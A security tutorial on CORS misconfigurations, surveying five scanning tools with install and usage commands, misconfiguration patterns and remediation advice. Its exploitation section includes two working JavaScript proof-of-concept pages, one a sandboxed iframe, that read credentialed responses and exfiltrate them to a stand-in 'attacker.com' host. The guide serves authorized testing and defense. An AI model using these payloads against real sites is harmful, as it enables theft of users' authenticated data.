CORS Misconfiguration: A Complete Guide to Detection and Exploitation Tools
CORS Misconfiguration: A Complete Guide to Detection and Exploitation Tools
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how web pages from one origin can request resources from another. When misconfigured, CORS can allow attackers to bypass the Same-Origin Policy (SOP), steal sensitive data, perform authenticated actions on behalf of victims, and compromise entire web applications. CORS misconfigurations are consistently ranked among the most impactful web vulnerabilities, yet they are often overlooked.
This guide covers five powerful CORS misconfiguration scanners: Corsy, Corser, CORStest, cors-scanner, and CorsMe. Each tool takes a different approach—from lightweight Python scripts to advanced Go-based scanners—and together they form a comprehensive toolkit for identifying and exploiting CORS flaws.
⚠️ Legal and ethical notice: CORS scanners send requests to target servers and may trigger security controls. Only use these tools against systems you own or have explicit written authorization to test. Unauthorized scanning is illegal and unethical.
Table of Contents
- Understanding CORS Misconfigurations
- Why CORS Misconfigurations Matter
- Tool Overview
- Corsy
- Corser
- CORStest
- cors-scanner
- CorsMe
- Comparison Table
- Common CORS Misconfiguration Patterns
- Exploitation Techniques
- Best Practices & Workflow
- Remediation & Mitigation
- Final Tips
1. Understanding CORS Misconfigurations
CORS is enforced by browsers to relax the Same-Origin Policy in a controlled way. When a web application wants to allow cross-origin requests, it sends specific HTTP headers:
Access-Control-Allow-Origin(ACAO) – Specifies which origins are allowedAccess-Control-Allow-Credentials(ACAC) – Indicates whether credentials (cookies, auth headers) can be includedAccess-Control-Allow-Methods– Lists allowed HTTP methodsAccess-Control-Allow-Headers– Lists allowed request headers
A misconfiguration occurs when the server:
- Reflects any origin in
Access-Control-Allow-Origin(e.g.,ACAO: https://evil.com) - Uses a wildcard (
ACAO: *) with credentials (ACAC: true) — browsers block this, but server-side misconfigurations still matter - Trusts subdomains or null origins improperly
- Allows overly permissive methods or headers
- Fails to validate the
Originheader correctly
When combined with Access-Control-Allow-Credentials: true, these flaws allow attackers to read sensitive data from authenticated sessions.
2. Why CORS Misconfigurations Matter
CORS misconfigurations can lead to:
- Data theft – Read private user data (emails, messages, API keys)
- Account takeover – Perform actions on behalf of authenticated users
- Privilege escalation – Access admin endpoints from a malicious origin
- API abuse – Extract sensitive information from internal APIs
- Session hijacking – Steal session tokens via cross-origin requests
Because CORS flaws often require only a single malicious webpage and a logged-in victim, they are highly exploitable and frequently reported in bug bounty programs.
3. Tool Overview
| Tool | Language | Approach | Best For |
|---|---|---|---|
| Corsy | Python | Comprehensive CORS scanner | Deep analysis with multiple payloads |
| Corser | Go | Advanced CORS detection | Fast, concurrent scanning |
| CORStest | Python | Simple CORS scanner | Quick, lightweight checks |
| cors-scanner | Python | Multi-threaded scanner | Bulk scanning of many endpoints |
| CorsMe | Python | CORS misconfiguration scanner | Automated discovery and exploitation |
4. Corsy
Corsy is a Python-based CORS misconfiguration scanner developed by s0md3v. It is one of the most comprehensive tools available, testing for a wide range of CORS flaws including origin reflection, null origin, subdomain trust, and more.
Installation
git clone https://github.com/s0md3v/Corsy.gitcd Corsypip install -r requirements.txt
Basic Usage
# Scan a single URLpython corsy.py -u https://example.com/api/user# Scan multiple URLs from a filepython corsy.py -i urls.txt# Specify HTTP method and headerspython corsy.py -u https://example.com/api/user -m POST -H "Authorization: Bearer token"# Use a proxy (e.g., Burp Suite)python corsy.py -u https://example.com/api/user -p http://127.0.0.1:8080
Key Features
- Tests for multiple CORS misconfiguration types
- Supports GET, POST, and custom headers
- Can scan lists of URLs
- Proxy support for Burp Suite integration
- Clear output with vulnerability classification
When to Use
Use Corsy when you need a thorough, well-documented CORS scanner with a proven track record. It is ideal for manual assessments of individual endpoints and small lists.
🔗 GitHub
5. Corser
Corser is a Go-based CLI application for advanced CORS misconfiguration detection. It is designed for speed and concurrency, making it suitable for scanning large numbers of endpoints.
Installation
go install github.com/gnugrep/Corser@latest
Or download a precompiled binary from the GitHub releases page.
Basic Usage
# Scan a single URLcorser -u https://example.com/api/user# Scan multiple URLs from a filecorser -i urls.txt -o results.txt# Specify method and headerscorser -u https://example.com/api/user -m POST -H "Authorization: Bearer token"# Increase concurrencycorser -i urls.txt -c 50
Key Features
- Written in Go for speed and portability
- Concurrent scanning of many endpoints
- Supports GET, POST, and custom headers
- Outputs results in a clean format
- Lightweight, single binary
When to Use
Use Corser when you need to scan large lists of endpoints quickly. Its Go implementation makes it significantly faster than Python-based alternatives.
🔗 GitHub
6. CORStest
CORStest is a simple Python-based CORS misconfiguration scanner. It is lightweight and easy to use, making it a good choice for quick checks.
Installation
git clone https://github.com/RUB-NDS/CORStest.gitcd CORStestpip install -r requirements.txt
Basic Usage
# Scan a single URLpython corstest.py https://example.com/api/user# Scan multiple URLs from a filepython corstest.py -f urls.txt# Verbose outputpython corstest.py https://example.com/api/user -v
Key Features
- Simple, lightweight Python script
- Tests for common CORS misconfigurations
- Supports file input for bulk scanning
- Verbose output for detailed analysis
When to Use
Use CORStest when you need a quick, no-frills CORS check. It is ideal for initial triage and for environments where installing Go is not practical.
🔗 GitHub
7. cors-scanner
cors-scanner is a multi-threaded scanner that helps identify CORS flaws and misconfigurations. It is designed for speed and efficiency when scanning many endpoints.
Installation
git clone https://github.com/nicowillis/cors-scanner.gitcd cors-scannerpip install -r requirements.txt
Basic Usage
# Scan a single URLpython cors_scanner.py -u https://example.com/api/user# Scan multiple URLs from a filepython cors_scanner.py -i urls.txt -o results.txt# Increase threadspython cors_scanner.py -i urls.txt -t 20
Key Features
- Multi-threaded for fast scanning
- Supports bulk input from files
- Tests for common CORS misconfigurations
- Outputs results in a structured format
When to Use
Use cors-scanner when you need to scan a large number of endpoints efficiently. The multi-threaded design makes it faster than single-threaded Python scanners.
🔗 GitHub
8. CorsMe
CorsMe is a Python-based CORS misconfiguration scanner that automates the discovery and exploitation of CORS flaws. It is designed to be thorough and user-friendly.
Installation
git clone https://github.com/cyberaz0r/CorsMe.gitcd CorsMepip install -r requirements.txt
Basic Usage
# Scan a single URLpython CorsMe.py -u https://example.com/api/user# Scan multiple URLs from a filepython CorsMe.py -i urls.txt -o results.txt# Use a proxypython CorsMe.py -u https://example.com/api/user -p http://127.0.0.1:8080
Key Features
- Comprehensive CORS misconfiguration testing
- Supports bulk scanning
- Proxy support for Burp Suite integration
- Clear, actionable output
When to Use
Use CorsMe when you need a thorough CORS scanner with a clean interface. It is a solid alternative to Corsy with a slightly different feature set.
🔗 GitHub
9. Comparison Table
| Tool | Language | Speed | Bulk Scanning | Proxy Support | Best For |
|---|---|---|---|---|---|
| Corsy | Python | Medium | Yes | Yes | Deep, comprehensive analysis |
| Corser | Go | Very Fast | Yes | Limited | High-speed bulk scanning |
| CORStest | Python | Medium | Yes | No | Quick, lightweight checks |
| cors-scanner | Python | Fast | Yes | No | Multi-threaded bulk scanning |
| CorsMe | Python | Medium | Yes | Yes | Automated discovery and exploitation |
10. Common CORS Misconfiguration Patterns
CORS scanners test for several common misconfigurations. Understanding these helps you interpret results and prioritize findings.
1. Origin Reflection
The server reflects any Origin header value in Access-Control-Allow-Origin:
Request: Origin: https://evil.comResponse: Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Impact: Any website can read authenticated responses.
2. Null Origin Trust
The server trusts the null origin, which can be triggered from sandboxed iframes or data: URLs:
Request: Origin: nullResponse: Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
Impact: Attackers can use sandboxed iframes to bypass CORS.
3. Subdomain Trust
The server trusts any subdomain, including ones an attacker can control:
Request: Origin: https://attacker.example.comResponse: Access-Control-Allow-Origin: https://attacker.example.comAccess-Control-Allow-Credentials: true
Impact: If an attacker can host content on a subdomain, they can read data from the main domain.
4. Prefix/Suffix Matching Bypass
The server trusts origins that start with or contain the target domain:
Request: Origin: https://example.com.evil.comResponse: Access-Control-Allow-Origin: https://example.com.evil.com
Impact: Attackers can register lookalike domains to bypass CORS.
5. Wildcard with Credentials
The server sends Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers block this combination, but server-side flaws may still exist.
6. Insecure Protocol Trust
The server trusts http:// origins when it should only trust https://:
Request: Origin: http://example.comResponse: Access-Control-Allow-Origin: http://example.com
Impact: MITM attackers can intercept and modify requests.
11. Exploitation Techniques
Once a CORS misconfiguration is identified, exploitation typically involves:
- Crafting a malicious webpage that makes a cross-origin request to the vulnerable endpoint.
- Hosting the page on an attacker-controlled origin.
- Luring a victim to visit the page while authenticated to the target.
- Reading the response via JavaScript and exfiltrating it to the attacker.
Example malicious page:
<script>fetch('https://vulnerable.com/api/user', {credentials: 'include'}).then(response => response.text()).then(data => {fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));});</script>
Live HTML preview
For null origin exploits, sandboxed iframes are used:
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://vulnerable.com/api/user', { credentials: 'include' }).then(r => r.text()).then(d => fetch('https://attacker.com/exfil?data=' + encodeURIComponent(d)));</script>"></iframe>
Live HTML preview
12. Best Practices & Workflow
- Start with a broad scan. Use Corser for high-speed scanning of many endpoints.
- Follow up with deep analysis. Use Corsy or CorsMe for detailed testing of interesting endpoints.
- Test authenticated endpoints. CORS flaws are most impactful when credentials are involved.
- Check all HTTP methods. Some endpoints only misconfigure CORS for specific methods.
- Test custom headers.
Authorization,X-Requested-With, and others may trigger different behavior. - Use a proxy. Route traffic through Burp Suite to inspect and modify requests manually.
- Verify manually. Automated tools can produce false positives. Confirm findings with a crafted request.
- Document findings. Capture requests and responses for your report.
- Combine with other recon. Use CORS scanners after discovering API endpoints with ffuf, Arjun, or katana.
Example Workflow
# 1. Discover API endpointsffuf -u https://example.com/api/FUZZ -w api_endpoints.txt -fc 404 -o endpoints.txt# 2. Scan for CORS misconfigurations with Corsercorser -i endpoints.txt -o cors_results.txt# 3. Deep analysis with Corsypython corsy.py -i cors_results.txt -p http://127.0.0.1:8080# 4. Manually verify findings in Burp Suite# 5. Craft exploitation PoC for confirmed vulnerabilities
13. Remediation & Mitigation
To prevent CORS misconfigurations:
- Validate the Origin header strictly – Use an allowlist of trusted origins. Never reflect arbitrary origins.
- Avoid wildcards with credentials – Never combine
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true. - Do not trust null origins – Reject
Origin: nullunless absolutely necessary. - Be careful with subdomain trust – Only trust subdomains you control and that cannot be taken over.
- Use exact matching – Avoid prefix/suffix matching that can be bypassed.
- Enforce HTTPS – Only trust
https://origins. - Limit methods and headers – Only allow the methods and headers your application actually needs.
- Regular testing – Use CORS scanners in authorized tests to find and fix misconfigurations.
14. Final Tips
- CORS flaws are often high-impact. A single misconfiguration can lead to full account takeover.
- Credentials are key. Without
Access-Control-Allow-Credentials: true, the impact is limited. - Test both authenticated and unauthenticated endpoints. Some flaws only manifest with valid sessions.
- Use multiple tools. Different scanners test for different patterns; combining them improves coverage.
- Stay legal. Only test systems you have permission to test.
- Keep tools updated. New CORS bypass techniques emerge regularly.
Official Resources:
- Corsy: github.com/s0md3v/Corsy
- Corser: github.com/gnugrep/Corser
- CORStest: github.com/RUB-NDS/CORStest
- cors-scanner: github.com/nicowillis/cors-scanner
- CorsMe: github.com/cyberaz0r/CorsMe
- OWASP CORS: owasp.org/www-community/attacks/CORS_OriginHeaderScrutiny
- PortSwigger CORS: portswigger.net/web-security/cors
Remember: CORS misconfigurations are a powerful vector for data theft and account takeover. Use these tools responsibly, stay within scope, and always obtain proper authorization before testing any system.
Author
Discussion · 0
No comments yet — start the discussion.
Sign in to join the discussion.